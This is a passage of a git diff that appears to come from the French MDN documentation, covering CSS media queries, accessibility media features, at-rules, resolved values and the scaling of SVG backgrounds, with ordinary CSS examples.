Le clignotement ou les animations rapides peuvent poser problème, notamment pour les personnes souffrant de troubles tels que le troubles de déficit de l'attention ou d'epilepsie, de migraines, etc.

- -

Cette méthode peut également améliorer l'expérience des utilisateurs en économisant l'énergie nécessaire à l'affichage de la page (avec une amélioration sensible pour les appareils avec une batterie faible ou qui ne sont pas particulièrement récents).

- -

Syntaxe

- -
-
no-preference
-
Cette valeur indique que l'utilisateur n'a pas indiqué de préférence particulière dans le système.
-
reduce
-
Cette valeur indique que l'utilisateur a signalé au système qu'il préférait une interface minimisant la quantité de mouvement ou d'animation. Idéalement, tous les mouvements qui ne sont pas essentiles doivent être retirés.
-
- -

Exemple

- -

Cet exemple illustre comment éviter les animations inutiles en activant une préférence pour réduire les mouvements à l'écran.

- -

HTML

- -
<div class="animation">animated box</div>
-
- -

CSS

- -
.animation {
-  -webkit-animation: vibrate 0.3s linear infinite both;
-  animation: vibrate 0.3s linear infinite both;
-}
-
-@media (prefers-reduced-motion: reduce) {
-  .animation {
-    animation: none;
-  }
-}
-
- -

Résultat

- -

{{EmbedLiveSample("Exemple")}}

- -

Mode de contraste élevé{{Non-standard_inline}}

- -

La caractéristique média -ms-high-contrast est spécifique à Microsoft mais permet d'indiquer si l'application est affichée avec un mode de contraste élevé et, si c'est le cas, quelle variation de couleur est utilisée.

- -

Cela ne bénéficie pas seulement aux utilisateurs souffrant de troubles de la vision mais aussi aux personnes qui consultent le document avec une lumière ambiante importante (ex. sur un écran faiblement éclairé et en plein soleil).

- -

Syntaxe

- -

La caractéristique média -ms-high-contrast peut être définie avec l'une des valeurs suivantes.

- -

Valeurs

- -
-
active
-
-

Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé, quelle que soit la variation de couleurs.

-
-
black-on-white
-
-

Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé avec une dominante noir sur blanc.

-
-
white-on-black
-
-

Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé avec une dominante blanc sur noir.

-
-
- -

Exemple

- -

Les déclarations suivantes s'appliqueront respectivement aux applications qui sont affichées avec un mode de contraste élevé, quelle que soit la variation de couleur (1), avec une dominante noir sur blanc (2), avec une dominante blanc sur noir (3).

- -
@media screen and (-ms-high-contrast: active) {
-  /* Toutes les règles appliquées en contraste élevé */
-}
-@media screen and (-ms-high-contrast: black-on-white) {
-  div { background-image: url('image-bw.png'); }
-}
-@media screen and (-ms-high-contrast: white-on-black) {
-  div { background-image: url('image-wb.png'); }
-}
-
diff --git "a/files/fr/web/css/requ\303\252tes_m\303\251dia/utiliser_les_media_queries/index.html" "b/files/fr/web/css/requ\303\252tes_m\303\251dia/utiliser_les_media_queries/index.html" deleted file mode 100644 index 4dc71551de..0000000000 --- "a/files/fr/web/css/requ\303\252tes_m\303\251dia/utiliser_les_media_queries/index.html" +++ /dev/null @@ -1,384 +0,0 @@ ---- -title: Media queries -slug: Web/CSS/Requêtes_média/Utiliser_les_Media_queries -tags: - - Avancé - - CSS - - CSS3 - - Guide - - Media Queries - - Requêtes média - - Responsive Design -translation_of: Web/CSS/Media_Queries/Using_media_queries ---- -
{{CSSRef}}
- -

Les requêtes média (media queries) permettent de modifier l'apparence d'un site ou d'une application en fonction du type d'appareil (impression ou écran par exemple) et de ses caractéristiques (la résolution d'écran ou la largeur de la zone d'affichage (viewport) par exemple).

- -

Les requêtes média sont utilisées afin :

- -
    -
  • D'appliquer certains styles de façon conditionnelle grâce aux règles @ {{cssxref("@media")}} et {{cssxref("@import")}}.
    • -
  • De cibler certains médias pour les éléments {{HTMLElement("style")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}} et d'autres éléments HTML grâce à l'attribut media=.
    • -
  • De tester et surveiller l'état d'un média grâce aux méthodes {{domxref("Window.matchMedia()")}} et {{domxref("MediaQueryList.addListener()")}}.
    • -
- -
-

Note : Les exemples de cet article utilisent @media à des fins d'illustration. Toutefois, la syntaxe est la même pour les différents types de requêtes média.

-
- -

Syntaxe

- -

Une requête média se compose d'un type de média optionnel et d'une ou plusieurs expressions de caractéristiques de média. Plusieurs requêtes peuvent être combinées entre elles grâce à des opérateurs logiques. Les requêtes média ne sont pas sensibles à la casse.

- -

Une requête média vaut true si le type de média correspond à l'appareil utilisé pour l'affichage du document et si toutes les expressions relatives aux caractéristiques sont vraies. Les requêtes qui utilisent des types de média inconnus valent toujours false.

- -
-

Note : Lorsqu'une feuille de style est attachée à un élément {{HTMLElement("link")}} comportant une requếte média, cette feuille de style sera toujours téléchargée, même si la requête renvoie false. Toutefois, le contenu de cette feuille n'est pas appliquée tant que le résultat de la requête ne devient pas true.

-
- -

Types de média

- -

Un type de média définit une catégorie générale d'appareil. Le type de média est optionnel dans une requête média, sauf si celle-ci utilise les opérateurs logiques not ou only. Par défaut, le type de média utilisé est all.

- -
-
all
-
Correspond pour tous les appareils.
-
print
-
Correspond aux matériaux paginés et aux documents consultés en aperçu avant impression. Pour plus d'informations, voir l'article sur les média paginés.
-
screen
-
Correspond aux appareils dotés d'un écran.
-
speech
-
Correspond aux outils de synthèse vocale.
-
- -
Note : Les types de média dépréciés CSS2.1 et Media Queries 3 ont défini plusieurs types additionnels (tty, tv, projection, handheld, braille, embossed, and aural) qui ont ensuite été dépréciés avec Media Queries 4. Ces types ne doivent donc plus être utilisés. Le type aural a été remplacé par le type speech.
- -

Caractéristiques média (media features)

- -

Les caractéristiques média décrivent certaines caractéristiques spécifiques de l'agent utilisateur, de l'appareil d'affichage ou de l'environnement. Les expressions de caractéristique média testent leur présence ou leur valeur. Chaque expression de caractéristique doit être entourée de parenthèses.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomRésuméNotes
{{cssxref("@media/width","width")}}La largeur de la zone d'affichage (viewport)
{{cssxref("@media/height","height")}}La hauteur de la zone d'affichage
{{cssxref("@media/aspect-ratio","aspect-ratio")}}Le rapport largeur/hauteur de la zone d'affichage
{{cssxref("@media/orientation","orientation")}}L'orientation la zone d'affichage
{{cssxref("@media/resolution","resolution")}}La densité de pixel pour l'appareil d'affichage
{{cssxref("@media/scan","scan")}}Le processus de scan de l'appareil d'affichage
{{cssxref("@media/grid","grid")}}Le type d'écran de l'appareil : matriciel ou grille ?
{{cssxref("@media/update-frequency","update")}}La fréquence de modification du contenu par l'appareil d'affichageAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/overflow-block","overflow-block")}}La façon dont l'appareil d'affichage gère le contenu qui dépasse de la zone d'affichage selon l'axe de blocAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/overflow-inline","overflow-inline")}}La possibilité de faire défiler (scroll) le contenu qui dépasse de la zone d'affichage sur l'axe en ligneAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/color","color")}}Le nombre de bits pour chaque composante de couleur pour l'appareil d'affichage (ou 0 si l'appareil ne gère pas les couleurs)
{{cssxref("@media/color-gamut","color-gamut")}}Un intervalle approximatif des couleurs prises en charge par l'agent utilisateur et l'appareil d'affichageAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/color-index","color-index")}}Le nombre d'éléments dans le tableau des couleurs de l'appareil d'affichage (ou 0 si l'appareil ne dispose pas d'un tel tableau)
{{cssxref("@media/display-mode","display-mode")}}Le mode d'affichage de l'application, tel qu'indiqué par la propriété display du manifesteDéfinie dans la spécification pour les manifestes des applications web.
{{cssxref("@media/monochrome","monochrome")}}Le nombre de bits par pixel pour le frame buffer monochrome de l'appareil d'affichage ou 0 si l'appareil n'est pas monochrome
{{cssxref("@media/inverted-colors","inverted-colors")}}L'inversion (ou non) des couleurs par l'agent utilisateur ou le système d'exploitationReportée au niveau 5 du module de spécification Media Queries.
{{cssxref("@media/pointer","pointer")}}La présence d'un appareil de pointage comme mécanisme de saisie principal et sa précisionAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/hover","hover")}}La capacité du mécanisme de saisie principal à survoler les élémentsAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/any-pointer","any-pointer")}}La présence d'un appareil de pointage parmi les mécanismes de saisie et sa précisionAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/any-hover","any-hover")}}La capacité d'un des mécanismes de saisie à survoler les élémentsAjoutée avec le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/light-level","light-level")}}Le niveau de luminosité de l'environnementAjoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}L'utilisateur préfère que la quantité de mouvement sur la page soit réduite.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}L'utilisateur préfère que la transparence utilisée sur la page soit réduite.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-contrast", "prefers-contrast")}}L'utilisateur préfère que la contraste soit augmenté ou réduit entre des couleurs proches.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}L'utilisateur préfère utiliser un thème clair ou un thème sombre.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/forced-colors", "forced-colors")}}Détecte si l'agent utilisateur restreint la palette de couleurs.Ajoutée avec le niveau 5 du module de spécification Media Queries.
{{cssxref("@media/scripting","scripting")}}La disponibilité des fonctions de script (JavaScript par exemple)Reportée au niveau 5 du module de spécification Media Queries.
{{cssxref("@media/device-width","device-width")}} {{obsolete_inline}}La largeur de la surface de rendu pour l'appareil d'affichageDépréciée par le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/device-height","device-height")}} {{obsolete_inline}}La hauteur de la surface de rendu pour l'appareil d'affichageDépréciée par le niveau 4 du module de spécification Media Queries.
{{cssxref("@media/device-aspect-ratio","device-aspect-ratio")}} {{obsolete_inline}}Le rapport largeur/hauteur de la surface de rendu pour l'appareil d'affichageDépréciée par le niveau 4 du module de spécification Media Queries.
- -

Opérateurs logiques

- -

Les opérateurs logiques not, and et only peuvent être utilisés afin de construire une requête média complexe. Il est aussi possible de combiner plusieurs requêtes média en les séparant par des virgules.

- -

and

- -

L'opérateur and permet de combiner plusieurs requêtes média en une seule. Pour que la requête résultante soit vraie, il faut que chacune des sous-requêtes soit vraie. Cet opérateur est également utilisé afin de relier des caractéristiques média avec des types de média.

- -

not

- -

L'opérateur not est utilisé afin d'obtenir le résultat opposé d'une requête média (il renvoie true si l'opérande renvoie false). S'il est utilisé dans une liste de requêtes séparées par des virgules, il ne nie que la requête sur laquelle il est appliqué. Si l'opérateur not est utilisé, la requête doit nécessairement contenir un type de média.

- -
-

Note : Pour la spécification de niveau 3, l'opérateur not ne peut pas être utilisé afin de prendre l'opposé d'une expression de caractéristique de média, il ne peut servir qu'à l'échelle d'une requête média entière.

-
- -

only

- -

L'opérateur only est utilisé afin d'appliquer un style uniquement si l'intégralité de la requête est vérifiée. Il permet d'empêcher les anciens navigateurs d'appliquer les styles concernés. Si on utilise pas only, un ancien navigateur interprètera screen and (max-width: 500px) comme screen uniquement (appliquant ainsi le style à tous les écrans). Si l'opérateur only est utilisé, la requête doit nécessairement contenir un type de média.

- -

, (virgule)

- -

Les virgules permettent de combiner plusieurs requêtes en une. Chaque requête est traitée séparément. Autrement dit, si une des requêtes de la liste renvoie true, toute la requête combinée renverra true. En ce sens, l'opérateur , agit comme un opérateur booléen or.

- -

Cibler des types de média

- -

Les types de média décrivent la catégorie générale de l'appareil utilisé. Bien que la plupart des sites web soient principalement conçus pour être affichés sur des écrans, il est possibles d'avoir des styles spécifiques pour les impressions ou pour les lecteurs d'écran. Voici une requête qui permet de cibler les imprimantes ou autres appareils imprimant le contenu sur plusieurs pages :

- -
@media print { ... }
- -

Il est possible de cibler plusieurs types à la fois. La règle suivante permet de cibler les écrans et les appareils d'impression :

- -
@media screen, print { ... }
- -

Pour une liste complète des types de média, voir ci-avant. Ces types étant très génériques, peu de valeurs sont disponibles. Afin d'avoir un ciblage plus fin, on pourra utiliser les caractéristiques média.

- -

Cibler des caractéristiques média

- -

Les caractéristiques média décrivent les caractéristiques spécifiques d'un agent utilisateur, d'un appareil d'affichage ou de l'environnement. On peut ainsi cibler différents styles pour les écrans larges, pour les ordinateurs qui disposent d'une souris ou pour les appareils utilisés dans une faible luminosité. Dans l'exemple qui suit, on a une requête qui vérifie si le mécanisme de saisie principal de l'appareil peut survoler les éléments :

- -
@media (hover: hover) { ... }
- -

De nombreuses caractéristiques média sont des caractéristiques portant sur un intervalle et peuvent être préfixées par min- ou max- afin d'exprimer des seuils de valeurs. Par exemple, la requête suivante permet d'appliquer des styles à condition que la largeur de la zone d'affichage (viewport) soit inférieure à 1250px :

- -
@media (max-width: 1250px) { ... }
- -
-

Selon la spécification du W3C, les barres de défilement font parties des dimensions de la page. Ainsi la barre de défilement vertical s'ajoute à la largeur du document tandis que la barre de défilement horizontal s'ajoute à la hauteur du document. Cependant tous les navigateurs n'ont pas adopté cette recommandation (Chrome par exemple) et tous n'ont pas opté pour la même taille de barre de défilement, ce qui mène à un développement plus difficile pour assurer une comptabilité sur tous les navigateurs.

-
- -

Si on utilise une caractéristique média sans indiquer de valeur, la requête sera vérifiée tant que la valeur de cette caractéristique n'est pas nulle (ou none pour la spécification de niveau 4). Ainsi, la requête suivante permettra d'appliquer les styles qu'elle contient si l'appareil peut afficher des couleurs :

- -
@media (color) { ... }
- -

Si une caractéristique ne s'applique pas à l'appareil, les expressions utilisant cette caractéristique renverront false. Ainsi, la requête suivante aura toujours la valeur false car aucun appareil de synthèse vocale ne possède de caractéristique relative à ses proportions d'écran :

- -
@media speech and (aspect-ratio: 11/5) { ... }
- -

Pour plus d'exemples, voir les pages de référence de chacune de ces caractéristiques depuis le tableau ci-dessus.

- -

Créer des requêtes média complexes

- -

Il est parfois nécessaire d'avoir une requête qui repose sur plusieurs conditions. Pour cela, on peut utiiliser les opérateurs logiques : not, and, only et la virgule (,) afin de combiner plusieurs requêtes média.

- -

Dans l'exemple précédent, on a utilisé l'opérateur and afin de combiner un type de média et une caractéristique média. Cet opérateur peut également servir à assembler plusieurs requêtes média pour en former la conjonction logique. L'opérateur not permet d'obtenir la négation d'une requête média tandis que l'opérateur only empêche les anciens navigateurs d'appliquer les styles qu'une requête contient.

- -
-

Note : Dans la plupart des cas, le type de média all est utilisé par défaut si aucun autre type n'est fourni. Toutefois, lorsqu'on utilise les opérateurs not ou only, il est nécessaire de fournir un type de média explicite.

-
- -

Combiner plusieurs types ou caractéristiques

- -

Le mot-clé and permet de combiner une caractéristique média avec un type de média ou avec d'autres caractéristiques média. L'exemple suivant permet de restreindre l'application d'un style aux appareils orientés en mode paysage et dont la largeur mesure au moins 30ems :

- -
@media (min-width: 30em) and (orientation: landscape) { ... }
- -

Si on souhaite restreindre ces règles aux écrans, on pourra ajouter une clause avec le type de média screen :

- -
@media screen and (min-width: 30em) and (orientation: landscape) { ... }
- -

Tester plusieurs requêtes

- -

La virgule peut être utilisée afin de créer une disjonction (un OU logique) sur différentes clauses (types de média, caractéristiques ou états). Dans l'exemple qui suit, les styles de la requête sont appliqués si l'appareil possède une hauteur supérieure ou égale à 680 pixels ou si l'écran est en mode portrait :

- -
@media (min-height: 680px), screen and (orientation: portrait) { ... }
- -

Avec cet exemple, si l'utilisateur utilise une imprimante et que la page mesure 800 pixels de haut, la requête média aurait été vérifiée. Il en aurait été de même si l'utilisateur avait utilisé un smartphone avec une zone d'affichage haute de 480 pixels en portrait car la deuxième clause aurait renvoyée true.

- -

Opérer une négation

- -

Le mot-clé not permet d'inverser le résultat d'une requête. Il inversera uniquement la requête sur laquelle il est appliqué (et non la liste des requêtes s'il est utilisé au sein de requêtes séparées par des virgules). Le mot-clé not ne peut pas être utilisé afin d'inverser une caractéristique média, il peut uniquement être utilisé pour une requête média complète. Dans la requête qui suit, l'opérateur not est évalué en dernier :

- -
@media not all and (monochrome) { ... }
-
- -

La requête précédente est donc équivalente à :

- -
@media not (all and (monochrome)) { ... }
-
- -

Mais elle n'est pas équivalente à :

- -
@media (not all) and (monochrome) { ... }
- -

De même :

- -
@media not screen and (color), print and (color) { ... }
-
- -

sera évaluée comme :

- -
@media (not (screen and (color))), print and (color) { ... }
- -

Améliorer la compatibilité avec les anciens navigateurs

- -

Le mot-clé only empêche les navigateurs qui ne prennent pas en charge les requêtes média avec les caractéristiques média d'appliquer les styles concernés. Cet opérateur n'a aucun effet pour les navigateurs modernes.

- -
@media only screen and (color) { ... }
-
- -

Améliorations syntaxiques avec la spécification de niveau 4

- -

La spécification de niveau 4 pour les requêtes média ajoute des améliorations syntaxiques pour les requêtes média qui portent sur un intervalle (par exemple les critères de largeur et de hauteur). On peut par exemple utiliser le préfixe max- pour les largeurs et écrire :

- -
@media (max-width: 30em) { ... }
- -

Avec les requêtes média de niveau 4, on peut écrire :

- -
@media (width <= 30em) { ... }
- -

Si on utilise min- et max- conjointement, on peut tester l'appartenance d'une valeur à un intervalle :

- -
@media (min-width: 30em) and (max-width: 50em) { ... }
- -

Avec les requêtes média de niveau 4, on peut écrire :

- -
@media (30em <= width <= 50em ) { ... }
-
- -

Les requêtes média de niveau 4 permettent également d'utiliser une logique booléenne avec les opérateurs and, not et or.

- -

Tester l'absence d'une caractéristique avec not

- -

On peut utiliser l'opérateur not() autour d'une caractéristique média afin de tester l'absence de cette caractéristique. Ainsi, on peut not(hover) pour cibler les appareils qui ne permettent pas le survol d'un élément :

- -
@media (not(hover)) { ... }
- -

Tester plusieurs caractéristiques avec or

- -

Il est possible d'utiliser l'opérateur or pour tester une correspondance sur plus d'une caractéristique. Dans l'exemple suivant, on cible les appareils qui ont un affichage monochrome (not (color)) ou qui permettent de survoler les éléments (hover) :

- -
@media (not (color)) or (hover) { ... }
-
- -

Voir aussi

- - diff --git a/files/fr/web/css/resolved_value/index.html b/files/fr/web/css/resolved_value/index.html new file mode 100644 index 0000000000..8ce7a5b45a --- /dev/null +++ b/files/fr/web/css/resolved_value/index.html @@ -0,0 +1,40 @@ +--- +title: Valeur résolue +slug: Web/CSS/valeur_résolue +tags: + - CSS + - Reference +translation_of: Web/CSS/resolved_value +--- +
{{cssref}}
+ +

La valeur résolue d'une propriété CSS est la valeur renvoyée par {{domxref("Window.getComputedStyle", "getComputedStyle()")}}. Pour la plupart des propriétés, il s'agit de la valeur calculée mais pour un tout petit nombre d'anciennes propriétés (dont {{cssxref("width")}} et {{cssxref("height")}}), il s'agit par contre de la valeur utilisée. Voir le lien vers la spécification ci-dessous pour des détails plus précis en fonction de chaque propriété.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSSOM", "#resolved-values", "resolved value")}}{{Spec2("CSSOM")}}Définition initiale
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/r\303\250gles_@/index.html" "b/files/fr/web/css/r\303\250gles_@/index.html" deleted file mode 100644 index e298cf9028..0000000000 --- "a/files/fr/web/css/r\303\250gles_@/index.html" +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Règles @ -slug: Web/CSS/Règles_@ -tags: - - CSS - - Reference - - Règle @ -translation_of: Web/CSS/At-rule ---- -
{{cssref}}
- -

Une règle @ est une expression CSS commençant par le symbole '@' (U+0040 COMMERCIAL AT), suivi d'un identifiant et qui contient tout ce qui se trouve jusqu'au prochain point-virgule, ';' (U+003B SEMICOLON), ou jusqu'au prochain bloc CSS trouvé en premier.

- -
/* Forme générique */
-@IDENTIFIANT (RÈGLE);
-
-/* Exemple : indiquer au navigateur d'utiliser */
-/* UTF-8 comme jeu de caractères */
-@charset "utf-8";
- -

Il existe de nombreuses règles @, désignées par leurs identifiants, chacune ayant leur propre syntaxe :

- -
    -
  • {{cssxref("@charset")}} qui définit le jeu de caractères utilisé par la feuille de style.
    • -
  • {{cssxref("@import")}} qui indique au moteur de rendu d'inclure une feuille de style externe.
    • -
  • {{cssxref("@namespace")}} qui indique au moteur de rendu que le contenu doit être pris en compte comme s'il était préfixé pour un espace de noms XML.
    • -
  • Les règles @ imbriquées. Ces règles sont un sous-ensemble des instructions imbriquées qui peuvent être utilisées au plus haut niveau de la feuille de style et aussi à l'intérieur de règles conditionnelles : -
      -
    • {{cssxref("@media")}} : une règle de groupe conditionnelle qui applique son contenu si l'appareil utilisé respecte les critères définis dans la « requête média » (ou media query).
      • -
    • {{cssxref("@supports")}} : une règle de groupe conditionnelle qui applique son contenu si le navigateur respecte une condition donnée (par exemple, si le navigateur supporte tel élément de syntaxe).
      • -
    • {{cssxref("@document")}} {{experimental_inline}} : une règle de groupe conditionnelle qui applique son contenu si le document sur lequel s'applique la feuille de style respecte une condition donnée (cette règle a été reportée pour être incluse dans la spécification CSS de niveau 4)
      • -
    • {{cssxref("@page")}} : une règle qui décrit les modifications de disposition à appliquer lorsque le document doit être imprimé/paginé.
      • -
    • {{cssxref("@font-face")}} : une règle qui définit une police externe à télécharger.
      • -
    • {{cssxref("@keyframes")}} : une règle qui décrit les états des différentes étapes intermédiaires qui composent une animation CSS.
      • -
    • {{cssxref("@viewport")}} {{experimental_inline}} : une règle de groupe conditionnelle qui applique son contenu selon des critères relatifs à la zone d'affichage (viewport) (cette règle est au stade du brouillon de travail).
      • -
    • {{cssxref("@counter-style")}} : une règle qui permet de définir des styles de compteur spécifiques qui ne font pas partie des styles prédéfinis (bien que la spécification ait atteint le niveau de Candidate Recommendation, cette fonctionnalité est uniquement implémentée dans Gecko au moment où nous écrivons ces lignes)
      • -
    • {{cssxref("@font-feature-values")}} (ainsi que @swash, @ornaments, @annotation, @stylistic, @styleset et @character-variant) : ces règles permettent de définir des noms d'usages pour la propriété {{cssxref("font-variant-alternates")}} qui permet d'activer différentes caractéristiques des polices OpenType (bien que la spécification ait atteint le niveau de Candidate Recommendation, cette fonctionnalité est uniquement implémentée dans Gecko au moment où nous écrivons ces lignes)
      • -
    -
    • -
- -

Les règles de groupe conditionnelles

- -

Comme pour les différentes propriétés, chaque règle @ possède une syntaxe différente. Toutefois, on peut en regrouper certaines dans une catégorie : les règles de groupe conditionnelles. Ces instructions partagent une syntaxe commune et permettent d'inclure des instructions imbriquées (soit des ensembles de règles CSS soit des règles @ imbriquées). De plus, elles portent toutes une sémantique commune : toutes définissent une certaine condition qui, selon qu'elle est évaluée à vrai ou à faux, permettre d'appliquer les instructions imbriquées du groupe.

- -

Les règles de groupe conditionnelles définies par la spécification de niveau 3 sur les règles CSS conditionnelles sont :

- -
    -
  • {{cssxref("@media")}},
    • -
  • {{cssxref("@supports")}},
    • -
  • {{cssxref("@document")}} (qui a été reporté à la spécification de niveau 4).
    • -
- -

Chaque groupe conditionnel peut également contenir des instructions imbriquées. Il peut donc y avoir un nombre indéterminé de niveaux d'imbrication.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatDéfinition
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}Définition initiale.
{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}{{Spec2('Compat')}}Standardisation de @-webkit-keyframes.
- -

Voir aussi

- - diff --git a/files/fr/web/css/scaling_of_svg_backgrounds/index.html b/files/fr/web/css/scaling_of_svg_backgrounds/index.html new file mode 100644 index 0000000000..ecd528838c --- /dev/null +++ b/files/fr/web/css/scaling_of_svg_backgrounds/index.html @@ -0,0 +1,331 @@ +--- +title: Redimensionnement d'arrière-plans SVG +slug: Web/CSS/Redimensionnement_arrière-plans_SVG +tags: + - CSS + - Guide + - SVG +translation_of: Web/CSS/Scaling_of_SVG_backgrounds +--- +

Les images SVG sont très flexibles et lorsqu'on les utilise en CSS avec les propriétés {{cssxref("background-image")}} et {{cssxref("background-size")}}, il faut s'assurer de considérer les différents aspects qui leurs sont propres. Dans cet article, on décrit comment les images SVG sont redimensionnées grâce à ces propriétés.

+ +

Un algorithme simple

+ +

Dans la plupart des cas, l'algorithme utilisé pourra être réduit à ces quatre règles. Ces règles ne sont pas exhaustives et ne couvrent pas certains cas aux limites mais cela sera suffisant ici :

+ +
    +
  1. Si {{cssxref("background-size")}} définit une dimension fixe (des pourcentages ou des unités relatives fixées par le contexte), cette dimension l'emporte.
    2. +
  2. Si l'image possède des proportions intrinsèques (autrement dit, si le ratio largeur/hauteur est constant : 16:9, 4:3, 2.39:1, 1:1), l'arrière-plan sera affiché en conservant ces proportions.
    3. +
  3. Si l'image définit une taille et que celle-ci n'est pas modifiée par une contrainte quelconque, cette taille l'emporte.
    4. +
  4. Dans tous les autres cas, l'image est affichée avec la taille de la zone dédiée à l'arrière-plan.
    5. +
+ +

On notera ici que l'algorithme ne prend en cas que les dimensions et/ou les proportions de l'image (leur absence éventullement). Ainsi, une image SVG dont les dimensions sont fixées sera traitée comme une image matricielle de la même taille.

+ +

Fichiers d'exemples

+ +

Avant d'aller plus loin dans l'exploration des résultats avec {{cssxref("background-size")}}, il serait judicieux de disposer de différentes images sources avec différents paramètres de dimensions, proportions, etc.

+ +

Pour chaque cas d'exemple fourni ci-après, l'image est affichée dans une boîte carrée de 150 pixels et un lien est fourni vers le fichier SVG correspondant.

+ +

Image sans dimension ni proportion

+ +

Cette image ne possède ni dimension ni proportion. Quelle que soit sa taille, il n'y aura pas de ratio largeur/hauteur particulier. On a ici une image qui forme un dégradé, quelles que soient les dimensions et la proportion de l'écran.

+ +

no-dimensions-or-ratio.png

+ +

Fichier source SVG

+ +

Image sans proportion avec une dimension fixée

+ +

Cette image mesure 100 pixels de large mais n'a pas de hauteur ni de proportion intrinsèque. On a ainsi une bande d'arrière-plan qui peut être étirée sur toute la hauteur d'un bloc.

+ +

100px-wide-no-height-or-ratio.png

+ +

Fichier source SVG

+ +

Image avec une dimension fixée et des proportions intrinsèques

+ +

Cette image mesure 100 pixels de haut mais n'a pas de largeur fixée. Elle définit également une proportion de 3:4. Ainsi, le rapport largeur/hauteur sera toujours 3/4.

+ +

On a ici un cas très proche de l'image pour laquelle on définit une largeur et une hauteur car, une fois qu'on a une dimension et une proportion, la deuxième dimension est implicite. Cela n'en reste pas moins un exemple utile.

+ +

100px-height-3x4-ratio.png

+ +

Fichier source SVG

+ +

Image sans largeur ni hauteur mais avec des proportions intrinsèques

+ +

Cette image n'indique pas de hauteur ou de largeur mais un ratio intrinsèque de 1:1. On obtiendra toujours un carré (qui pourra être utilisé comme une icône) pour n'importe quelle taille : 32x32, 128x128, or 512x512.

+ +

no-dimensions-1x1-ratio.png

+ +

Fichier source SVG

+ +

Exemples de redimensionnement

+ +

Appliquons maintenant différents redimensionnements sur ces images. Pour chacun des exemples qui suivent, les rectangles dessinés font 300 pixels de large et 200 pixels de haut. De plus, on utilise {{cssxref("background-repeat")}} avec no-repeat pour plus de clarté..

+ +
Note : Les images montrées ci-après illustrent le rendu attendu. Les navigateurs peuvent ne pas produire le bon résultat.
+ +

Indiquer des dimensions fixées sur les deux axes

+ +

Si on utilise {{cssxref("background-size")}} pour indiquer la longueur et la largeur de l'image, celles-ci seront toujours utilisées (cf. la règle n°1 précédemment énoncée). Autrement dit, l'image sera toujours étirée pour obtenir ces dimensions, quelles que soient les dimensions initiales de l'image ou ses proportions.

+ +

SVG source : Aucune dimension ni proportion

+ +

Avec ces déclarations CSS :

+ +
background: url(no-dimensions-or-ratio.svg);
+background-size: 125px 175px;
+
+ +

On doit obtenir un résultat semblable à :

+ +

fixed-no-dimensions-or-ratio.png

+ +

SVG source : Une dimension définie et aucune proportion

+ +

Avec ces déclarations CSS :

+ +
background: url(100px-wide-no-height-or-ratio.svg);
+background-size: 250px 150px;
+
+ +

On doit obtenir un résultat semblable à :

+ +

fixed-100px-wide-no-height-or-ratio.png

+ +

SVG source : Une dimension définie et des proportions intrinsèques

+ +

Avec ces déclarations CSS :

+ +
background: url(100px-height-3x4-ratio.svg);
+background-size: 275px 125px;
+
+ +

On doit obtenir un résultat semblable à :

+ +

fixed-100px-height-3x4-ratio.png

+ +

SVG source : Aucune largeur ni hauteur définie mais des proportions intrinsèques

+ +

Avec ces déclarations CSS :

+ +
background: url(no-dimensions-1x1-ratio.svg);
+background-size: 250px 100px;
+
+ +

On doit obtenir un résultat semblable à :

+ +

fixed-no-dimensions-1x1-ratio.png

+ +

Utiliser contain ou cover

+ +

En utilisant la valeur cover pour {{cssxref("background-size")}}, l'image sera réduite au maximum pour couvrir toute la zone de l'arrière-plan. contain fonctionne de façon symétrique, l'image est agrandie autant que possible sans être rognée par la zone de l'arrière-plan.

+ +

Pour une image avec des proportions intrinsèques, une seule dimension suffira à déterminer la taille pour cover/contain. En revanche, sans ratio, ce n'est pas suffisant et il faut donc utiliser les contraintes de la zone de l'arrière-plan.

+ +

SVG source : Aucune dimension ni proportion

+ +

Si une image n'a ni dimensions définie, ni proportions définies, les règles 2 ou 3 ne pourront pas s'appliquer. La règle 4 est donc utilisée et l'image couvre toute la zone (ce qui satisfait d'ailleurs les différentes contraintes).

+ +
background: url(no-dimensions-or-ratio.svg);
+background-size: contain;
+
+ +

Le résultat obtenu sera :

+ +

no-dimensions-or-ratio-contain.png

+ +

SVG source : Une dimension définie et aucune proportion

+ +

De même si l'image possède une dimension mais aucune proportion, la règle 4 sera appliquée : l'image est ainsi redimensionnée pour couvrir toute la zone.

+ +
background: url(100px-wide-no-height-or-ratio.svg);
+background-size: contain;
+
+ +

Le résultat obtenu sera :

+ +

100px-wide-no-height-or-ratio-contain.png

+ +

SVG source : Une dimension définie et des proportions intrinsèques

